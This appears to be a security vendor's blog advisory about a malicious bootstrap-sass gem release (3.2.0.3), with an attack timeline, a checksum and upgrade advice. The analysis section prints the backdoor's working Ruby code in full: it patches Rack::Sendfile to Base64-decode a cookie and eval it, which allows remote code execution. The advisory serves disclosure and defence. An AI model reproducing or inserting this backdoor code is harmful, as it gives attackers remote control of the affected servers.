Malicious remote code execution backdoor discovered in the popular bootstrap-sass Ruby gem

April 3, 2019 | in Vulnerabilities
| By Liran Tal

On March 26, 2019, a malicious version of the popular bootstrap-sass package, that has been downloaded a total of 28 million times to date, was published to the official RubyGems repository. Version 3.2.0.3 includes a stealthy backdoor that gives attackers remote command execution on server-side Rails applications.


We have already added the vulnerability to our database, and if your project is being monitored by Snyk, you will have already been notified by our routine alerts, if your application contains the malicious package. If not, you should test, for free, to see if your application is affected by the malicious version by testing your application code repository with Snyk.

Test if your Rails projects are vulnerable

If you find that your Rails application is making use of the vulnerable project take immediate action and replace the vulnerable version, 3.2.0.3, with the re-published 3.2.0.4 as first response mitigation without requiring major version upgrades.


On the same day, Derek Barnes opened a GitHub issue for the twbs/bootstrap-sass repository that raised an issue related to the malicious version and pointed out a suspicious snippet of code that is bundled with version 3.2.0.3 of bootstrap-sass.

The backdoor was wisely hidden in the 3.2.0.3 version that was only published to RubyGems and no source of the malicious version existed on the GitHub repository and allowed remote attackers to dynamically execute code on servers hosting the vulnerable versions.

The bootstrap-sass package is very popular and the malicious backdoor potentially affects a large set of users. The package’s GitHub repository has been starred more than 12,000 times, and features over 27 million downloads in total. The current version, 3.4.1, has over 217,000 downloads.

A quick analysis shows roughly 1,670 GitHub repositories that may have been exposed to the malicious library through direct use. This number will increase significantly when counting its usage in applications as a transitive dependency.

Test your Ruby application for vulnerabilities

By requesting a test report, you consent to us emailing you occasionally about Snyk.
You can unsubscribe at any time, and we will never pass your email onto third parties.

Re-cap of the attack timeline

  • Version 3.2.0.2 was removed from the RubyGems registry. This means that the tarball is still accessible directly via the RubyGems repository, however, it is not visible to the package manager. As far as we can tell, this version is not malicious and has been yanked by the malicious actors in order to get users to upgrade to 3.2.0.3 which they published next.
  • On March 26th, version 3.2.0.3 was published by malicious actors. The version includes hides a backdoor in a new file, lib/active-controller/middleware.rb. The backdoor taps into another Ruby module and modifies it so that specific cookies that are sent by the client will be Base64 decoded and then evaluated in runtime, to effectively allow remote code execution.
  • The malicious version 3.2.0.3 matches SHA256 checksum 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.
  • We assume that the attacker has obtained the credentials to publish the malicious RubyGems package from one of the two maintainers, but this has not been officially confirmed.
  • On March 26th at 10:59PM GMT Derek Barnes opened an issue on the public repository to inform the maintainers and the wider community of his suspicion regarding the code found in version 3.2.0.3.
  • On March 26th at 11:56PM GMT, just an hour later, the malicious version was removed from the RubyGems repository and the maintainers confirmed that they updated their credentials.
  • Due to both 3.2.0.2 and 3.2.0.3 version being removed, users needed to upgrade to other alternate versions, such as 3.4.1, as recommended by the project maintainers.
  • Today, on April 3rd 2019, at 4:10PM GMT, the project maintainers released a new version, 3.2.0.4, which is identical to the retracted version, 3.2.0.2, to allow users to easily upgrade to a safe version without needing to resort to a major version change.

April 4th 2019 4:46PM update: the vulnerable version of 3.2.0.2 was removed incorrectly and remained in the RubyGems registry through mirrors for several days further. It was reported now that it is now entirely unavailable.

Unraveling the vulnerability

To gain more insight into the malicious backdoor we need to understand how the bootstrap-sass package fits into the development practices of a Ruby web application.

bootstrap-sass is an official project that spawned from the Twitter Bootstrap parent project and provides a SASS-powered version of bootstrap 3. SASS is a tool that empowers frontend engineers and provides a higher level abstraction for writing CSS files through capabilities such as mixins, variables, conditional statements, and so on.

SASS tooling is mostly related to frontend assets and would normally be leveraged as part of a frontend build phase which creates static assets, and these are served by static web servers. However for Ruby on Rails-powered applications that serve both backend and frontend code, the bootstrap-sass project provides Ruby bindings that are used by the framework.

When a Rails application wants to make use of the bootstrap-sass library it declares this dependency and updates the relevant CSS imports in order to include bootstrap-sass to compile the CSS files during runtime.

When bootstrap-sass is imported, it imports the following malicious middleware code that resides on lib/active-controller/middleware.rb:

begin
 require 'rack/sendfile'
 if Rails.env.production?
   Rack::Sendfile.tap do |r|
     r.send :alias_method, :c, :call
     r.send(:define_method, :call) do |e|
       begin
         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
         eval(x) if x
       rescue Exception
       end
       c(e)
     end
   end
 end
rescue Exception
 nil
end

The backdoor in a nutshell:

  • import rack/sendfile
  • if the Rails application is running in a production environment, modify the call method
  • The monkey-patching of the call method updates the original to read an HTTP cookie, named ___cfduid, that was sent from the client-side, base64 decodes it, and then evaluates the dynamic code at runtime. After executing the dynamic code it calls the original call method.

What should I do?

If your project is being monitored by Snyk, you will have already been notified by Snyk’s routine alerts, should your application contain this malicious package.

If however, you are not monitoring your projects with Snyk, you can run a one-off test for your open source project by clicking here to test your repositories, or by using our CLI to test your projects locally.

I’m affected, what should do I next?

If you found out your Rails application is making use of the vulnerable project take immediate steps to replace the current vulnerable version of 3.2.0.3 with the re-published 3.2.0.4 version as first response mitigation without requiring major version upgrades.

We encourage you to connect your repositories with Snyk so you can monitor for malicious activity in the future as well as surface any other vulnerabilities that may exist in your application.

Test if your Rails projects are vulnerable